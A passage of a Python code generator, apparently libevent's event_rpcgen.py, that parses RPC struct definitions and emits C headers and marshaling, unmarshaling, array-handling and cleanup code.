free(%s->%s_data);" % (name, self._name), ] return code def Declaration(self): dcl = [ "ev_uint8_t *%s_data;" % self._name, "ev_uint32_t %s_length;" % self._name, ] return dcl class EntryArray(Entry): _index = None def __init__(self, entry): # Init base class super(EntryArray, self).__init__(entry._type, entry._name, entry._tag) self._entry = entry self._refname = entry._refname self._ctype = self._entry._ctype self._optional = True self._optpointer = self._entry._optpointer self._optaddarg = self._entry._optaddarg # provide a new function for accessing the variable name def GetVarName(var_name): return "%(var)s->%(name)s_data[%(index)s]" % self._entry.GetTranslation( {"var": var_name, "index": self._index} ) self._entry.GetVarName = GetVarName def GetInitializer(self): return "NULL" def GetVarName(self, var): return var def GetVarLen(self, _var_name): return "-1" def GetDeclaration(self, funcname): """Allows direct access to elements of the array.""" code = [ "int %(funcname)s(struct %(parent_name)s *, int, %(ctype)s *);" % self.GetTranslation({"funcname": funcname}) ] return code def AssignDeclaration(self, funcname): code = [ "int %s(struct %s *, int, const %s);" % (funcname, self._struct.Name(), self._ctype) ] return code def AddDeclaration(self, funcname): code = [ "%(ctype)s %(optpointer)s " "%(funcname)s(struct %(parent_name)s *msg%(optaddarg)s);" % self.GetTranslation({"funcname": funcname}) ] return code def CodeGet(self): code = """int %(parent_name)s_%(name)s_get(struct %(parent_name)s *msg, int offset, %(ctype)s *value) { if (!msg->%(name)s_set || offset < 0 || offset >= msg->%(name)s_length) return (-1); *value = msg->%(name)s_data[offset]; return (0); } """ % ( self.GetTranslation() ) return code.splitlines() def CodeAssign(self): code = [ "int", "%(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg, int off,", " const %(ctype)s value)", "{", " if (!msg->%(name)s_set || off < 0 || off >= msg->%(name)s_length)", " return (-1);", "", " {", ] code = TranslateList(code, self.GetTranslation()) codearrayassign = self._entry.CodeArrayAssign( "msg->%(name)s_data[off]" % self.GetTranslation(), "value" ) code += [" " + x for x in codearrayassign] code += TranslateList([" }", " return (0);", "}"], self.GetTranslation()) return code def CodeAdd(self): codearrayadd = self._entry.CodeArrayAdd( "msg->%(name)s_data[msg->%(name)s_length - 1]" % self.GetTranslation(), "value", ) code = [ "static int", "%(parent_name)s_%(name)s_expand_to_hold_more(" "struct %(parent_name)s *msg)", "{", " int tobe_allocated = msg->%(name)s_num_allocated;", " %(ctype)s* new_data = NULL;", " tobe_allocated = !tobe_allocated ? 1 : tobe_allocated << 1;", " new_data = (%(ctype)s*) realloc(msg->%(name)s_data,", " tobe_allocated * sizeof(%(ctype)s));", " if (new_data == NULL)", " return -1;", " msg->%(name)s_data = new_data;", " msg->%(name)s_num_allocated = tobe_allocated;", " return 0;", "}", "", "%(ctype)s %(optpointer)s", "%(parent_name)s_%(name)s_add(struct %(parent_name)s *msg%(optaddarg)s)", "{", " if (++msg->%(name)s_length >= msg->%(name)s_num_allocated) {", " if (%(parent_name)s_%(name)s_expand_to_hold_more(msg)<0)", " goto error;", " }", ] code = TranslateList(code, self.GetTranslation()) code += [" " + x for x in codearrayadd] code += TranslateList( [ " msg->%(name)s_set = 1;", " return %(optreference)s(msg->%(name)s_data[" "msg->%(name)s_length - 1]);", "error:", " --msg->%(name)s_length;", " return (NULL);", "}", ], self.GetTranslation(), ) return code def CodeComplete(self, structname, var_name): self._index = "i" tmp = self._entry.CodeComplete(structname, self._entry.GetVarName(var_name)) # skip the whole loop if there is nothing to check if not tmp: return [] translate = self.GetTranslation({"structname": structname}) code = [ "{", " int i;", " for (i = 0; i < %(structname)s->%(name)s_length; ++i) {", ] code = TranslateList(code, translate) code += [" " + x for x in tmp] code += [" }", "}"] return code def CodeUnmarshal(self, buf, tag_name, var_name, _var_len): translate = self.GetTranslation( { "var": var_name, "buf": buf, "tag": tag_name, "init": self._entry.GetInitializer(), } ) code = [ "if (%(var)s->%(name)s_length >= %(var)s->%(name)s_num_allocated &&", " %(parent_name)s_%(name)s_expand_to_hold_more(%(var)s) < 0) {", ' puts("HEY NOW");', " return (-1);", "}", ] # the unmarshal code directly returns code = TranslateList(code, translate) self._index = "%(var)s->%(name)s_length" % translate code += self._entry.CodeUnmarshal( buf, tag_name, self._entry.GetVarName(var_name), self._entry.GetVarLen(var_name), ) code += ["++%(var)s->%(name)s_length;" % translate] return code def CodeMarshal(self, buf, tag_name, var_name, _var_len): code = ["{", " int i;", " for (i = 0; i < %(var)s->%(name)s_length; ++i) {"] self._index = "i" code += self._entry.CodeMarshal( buf, tag_name, self._entry.GetVarName(var_name), self._entry.GetVarLen(var_name), ) code += [" }", "}"] code = "\n".join(code) % self.GetTranslation({"var": var_name}) return code.split("\n") def CodeClear(self, structname): translate = self.GetTranslation({"structname": structname}) codearrayfree = self._entry.CodeArrayFree( "%(structname)s->%(name)s_data[i]" % self.GetTranslation({"structname": structname}) ) code = ["if (%(structname)s->%(name)s_set == 1) {"] if codearrayfree: code += [ " int i;", " for (i = 0; i < %(structname)s->%(name)s_length; ++i) {", ] code = TranslateList(code, translate) if codearrayfree: code += [" " + x for x in codearrayfree] code += [" }"] code += TranslateList( [ " free(%(structname)s->%(name)s_data);", " %(structname)s->%(name)s_data = NULL;", " %(structname)s->%(name)s_set = 0;", " %(structname)s->%(name)s_length = 0;", " %(structname)s->%(name)s_num_allocated = 0;", "}", ], translate, ) return code def CodeInitialize(self, name): code = [ "%s->%s_data = NULL;" % (name, self._name), "%s->%s_length = 0;" % (name, self._name), "%s->%s_num_allocated = 0;" % (name, self._name), ] return code def CodeFree(self, structname): code = self.CodeClear(structname) code += TranslateList( ["free(%(structname)s->%(name)s_data);"], self.GetTranslation({"structname": structname}), ) return code def Declaration(self): dcl = [ "%s *%s_data;" % (self._ctype, self._name), "int %s_length;" % self._name, "int %s_num_allocated;" % self._name, ] return dcl def NormalizeLine(line): line = CPPCOMMENT_RE.sub("", line) line = line.strip() line = WHITESPACE_RE.sub(" ", line) return line ENTRY_NAME_RE = re.compile(r"(?P<name>[^\[\]]+)(\[(?P<fixed_length>.*)\])?") ENTRY_TAG_NUMBER_RE = re.compile(r"(0x)?\d+", re.I) def ProcessOneEntry(factory, newstruct, entry): optional = False array = False entry_type = "" name = "" tag = "" tag_set = None separator = "" fixed_length = "" for token in entry.split(" "): if not entry_type: if not optional and token == "optional": optional = True continue if not array and token == "array": array = True continue if not entry_type: entry_type = token continue if not name: res = ENTRY_NAME_RE.match(token) if not res: raise RpcGenError( r"""Cannot parse name: "%s" around line %d""" % (entry, LINE_COUNT) ) name = res.group("name") fixed_length = res.group("fixed_length") continue if not separator: separator = token if separator != "=": raise RpcGenError( r'''Expected "=" after name "%s" got "%s"''' % (name, token) ) continue if not tag_set: tag_set = 1 if not ENTRY_TAG_NUMBER_RE.match(token): raise RpcGenError(r'''Expected tag number: "%s"''' % (entry)) tag = int(token, 0) continue raise RpcGenError(r'''Cannot parse "%s"''' % (entry)) if not tag_set: raise RpcGenError(r'''Need tag number: "%s"''' % (entry)) # Create the right entry if entry_type == "bytes": if fixed_length: newentry = factory.EntryBytes(entry_type, name, tag, fixed_length) else: newentry = factory.EntryVarBytes(entry_type, name, tag) elif entry_type == "int" and not fixed_length: newentry = factory.EntryInt(entry_type, name, tag) elif entry_type == "int64" and not fixed_length: newentry = factory.EntryInt(entry_type, name, tag, bits=64) elif entry_type == "string" and not fixed_length: newentry = factory.EntryString(entry_type, name, tag) else: res = STRUCT_REF_RE.match(entry_type) if res: # References another struct defined in our file newentry = factory.EntryStruct(entry_type, name, tag, res.group("name")) else: raise RpcGenError('Bad type: "%s" in "%s"' % (entry_type, entry)) structs = [] if optional: newentry.MakeOptional() if array: newentry.MakeArray() newentry.SetStruct(newstruct) newentry.SetLineCount(LINE_COUNT) newentry.Verify() if array: # We need to encapsulate this entry into a struct newentry = factory.EntryArray(newentry) newentry.SetStruct(newstruct) newentry.SetLineCount(LINE_COUNT) newentry.MakeArray() newstruct.AddEntry(newentry) return structs def ProcessStruct(factory, data): tokens = data.split(" ") # First three tokens are: 'struct' 'name' '{' newstruct = factory.Struct(tokens[1]) inside = " ".join(tokens[3:-1]) tokens = inside.split(";") structs = [] for entry in tokens: entry = NormalizeLine(entry) if not entry: continue # It's possible that new structs get defined in here structs.extend(ProcessOneEntry(factory, newstruct, entry)) structs.append(newstruct) return structs C_COMMENT_START = "/*" C_COMMENT_END = "*/" C_COMMENT_START_RE = re.compile(re.escape(C_COMMENT_START)) C_COMMENT_END_RE = re.compile(re.escape(C_COMMENT_END)) C_COMMENT_START_SUB_RE = re.compile(r"%s.*$" % (re.escape(C_COMMENT_START))) C_COMMENT_END_SUB_RE = re.compile(r"%s.*$" % (re.escape(C_COMMENT_END))) C_MULTILINE_COMMENT_SUB_RE = re.compile( r"%s.*?%s" % (re.escape(C_COMMENT_START), re.escape(C_COMMENT_END)) ) CPP_CONDITIONAL_BLOCK_RE = re.compile(r"#(if( |def)|endif)") INCLUDE_RE = re.compile(r'#include (".+"|<.+>)') def GetNextStruct(filep): global CPP_DIRECT global LINE_COUNT got_struct = False have_c_comment = False data = "" while True: line = filep.readline() if not line: break LINE_COUNT += 1 line = line[:-1] if not have_c_comment and C_COMMENT_START_RE.search(line): if C_MULTILINE_COMMENT_SUB_RE.search(line): line = C_MULTILINE_COMMENT_SUB_RE.sub("", line) else: line = C_COMMENT_START_SUB_RE.sub("", line) have_c_comment = True if have_c_comment: if not C_COMMENT_END_RE.search(line): continue have_c_comment = False line = C_COMMENT_END_SUB_RE.sub("", line) line = NormalizeLine(line) if not line: continue if not got_struct: if INCLUDE_RE.match(line): CPP_DIRECT.append(line) elif CPP_CONDITIONAL_BLOCK_RE.match(line): CPP_DIRECT.append(line) elif PREPROCESSOR_DEF_RE.match(line): HEADER_DIRECT.append(line) elif not STRUCT_DEF_RE.match(line): raise RpcGenError("Missing struct on line %d: %s" % (LINE_COUNT, line)) else: got_struct = True data += line continue # We are inside the struct tokens = line.split("}") if len(tokens) == 1: data += " " + line continue if tokens[1]: raise RpcGenError("Trailing garbage after struct on line %d" % LINE_COUNT) # We found the end of the struct data += " %s}" % tokens[0] break # Remove any comments, that might be in there data = re.sub(r"/\*.*\*/", "", data) return data def Parse(factory, filep): """ Parses the input file and returns C code and corresponding header file. """ entities = [] while 1: # Just gets the whole struct nicely formatted data = GetNextStruct(filep) if not data: break entities.extend(ProcessStruct(factory, data)) return entities class CCodeGenerator(object): def __init__(self): pass @staticmethod def GuardName(name): # Use the complete provided path to the input file, with all # non-identifier characters replaced with underscores, to # reduce the chance of a collision between guard macros. return "EVENT_RPCOUT_%s_" % (NONIDENT_RE.sub("_", name).upper()) def HeaderPreamble(self, name): guard = self.GuardName(name) pre = """ /* * Automatically generated from %s */ #ifndef %s #define %s """ % ( name, guard, guard, ) if HEADER_DIRECT: for statement in HEADER_DIRECT: pre += "%s\n" % statement pre += "\n" pre += """ #include <event2/util.h> /* for ev_uint*_t */ #include <event2/rpc.h> """ return pre def HeaderPostamble(self, name): guard = self.GuardName(name) return "#endif /* %s */" % (guard) @staticmethod def BodyPreamble(name, header_file): global _NAME global _VERSION slash = header_file.rfind("/") if slash != -1: header_file = header_file[slash + 1 :] pre = """ /* * Automatically generated from %(name)s * by %(script_name)s/%(script_version)s. DO NOT EDIT THIS FILE. */ #include <stdlib.h> #include <string.h> #include <assert.h> #include <event2/event-config.h> #include <event2/event.h> #include <event2/buffer.h> #include <event2/tag.h> #if defined(EVENT__HAVE___func__) # ifndef __func__ # define __func__ __func__ # endif #elif defined(EVENT__HAVE___FUNCTION__) # define __func__ __FUNCTION__ #else # define __func__ __FILE__ #endif """ % { "name": name, "script_name": _NAME, "script_version": _VERSION, } for statement in CPP_DIRECT: pre += "%s\n" % statement pre += '\n#include "%s"\n\n' % header_file pre += "void event_warn(const char *fmt, ...);\n" pre += "void event_warnx(const char *fmt, ...);\n\n" return pre @staticmethod def HeaderFilename(filename): return ".".join(filename.split(".")[:-1]) + ".h" @staticmethod def CodeFilename(filename): return ".".join(filename.split(".")[:-1]) + ".gen.c" @staticmethod def Struct(name): return StructCCode(name) @staticmethod def EntryBytes(entry_type, name, tag, fixed_length): return EntryBytes(entry_type, name, tag, fixed_length) @staticmethod def EntryVarBytes(entry_type, name, tag): return EntryVarBytes(entry_type, name, tag) @staticmethod def EntryInt(entry_type, name, tag, bits=32): return EntryInt(entry_type, name, tag, bits) @staticmethod def EntryString(entry_type, name, tag): return EntryString(entry_type, name, tag) @staticmethod def EntryStruct(entry_type, name, tag, struct_name): return EntryStruct(entry_type, name, tag, struct_name) @staticmethod def EntryArray(entry): return EntryArray(entry) class CommandLine(object): def __init__(self, argv=None): """Initialize a command-line to launch event_rpcgen, as if from a command-line with CommandLine(sys.argv). If you're calling this directly, remember to provide a dummy value for sys.argv[0] """ global QUIETLY self.filename = None self.header_file = None self.impl_file = None self.factory = CCodeGenerator() parser = argparse.ArgumentParser( usage="%(prog)s [options] rpc-file [[h-file] c-file]" ) parser.add_argument("--quiet", action="store_true", default=False) parser.add_argument("rpc_file", type=argparse.FileType("r")) args, extra_args = parser.parse_known_args(args=argv) QUIETLY = args.quiet if extra_args: if len(extra_args) == 1: self.impl_file = extra_args[0].replace("\\", "/") elif len(extra_args) == 2: self.header_file = extra_args[0].replace("\\", "/") self.impl_file = extra_args[1].replace("\\", "/") else: parser.error("Spurious arguments provided") self.rpc_file = args.rpc_file if not self.impl_file: self.impl_file = self.factory.CodeFilename(self.rpc_file.name) if not self.header_file: self.header_file = self.factory.HeaderFilename(self.impl_file) if not self.impl_file.endswith(".c"): parser.error("can only generate C implementation files") if not self.header_file.endswith(".h"): parser.error("can only generate C header files") def run(self): filename = self.rpc_file.name header_file = self.header_file impl_file = self.impl_file factory = self.factory declare('Reading "%s"' % filename) with self.rpc_file: entities = Parse(factory, self.rpc_file) declare('... creating "%s"' % header_file) with open(header_file, "w") as header_fp: header_fp.write(factory.HeaderPreamble(filename)) # Create forward declarations: allows other structs to reference # each other for entry in entities: entry.PrintForwardDeclaration(header_fp) header_fp.write("\n") for entry in entities: entry.PrintTags(header_fp) entry.PrintDeclaration(header_fp) header_fp.write(factory.HeaderPostamble(filename)) declare('... creating "%s"' % impl_file) with open(impl_file, "w") as impl_fp: impl_fp.write(factory.BodyPreamble(filename, header_file)) for entry in entities: entry.PrintCode(impl_fp) def main(argv=None): try: CommandLine(argv=argv).run() return 0 except RpcGenError as e: sys.stderr.write(e) except EnvironmentError as e: if e.filename and e.strerror: sys.stderr.write("%s: %s" % (e.filename, e.strerror)) elif e.strerror: sys.stderr.write(e.strerror) else: raise return 1 if __name__ == "__main__": sys.exit(main(argv=sys.argv[1:]))
Close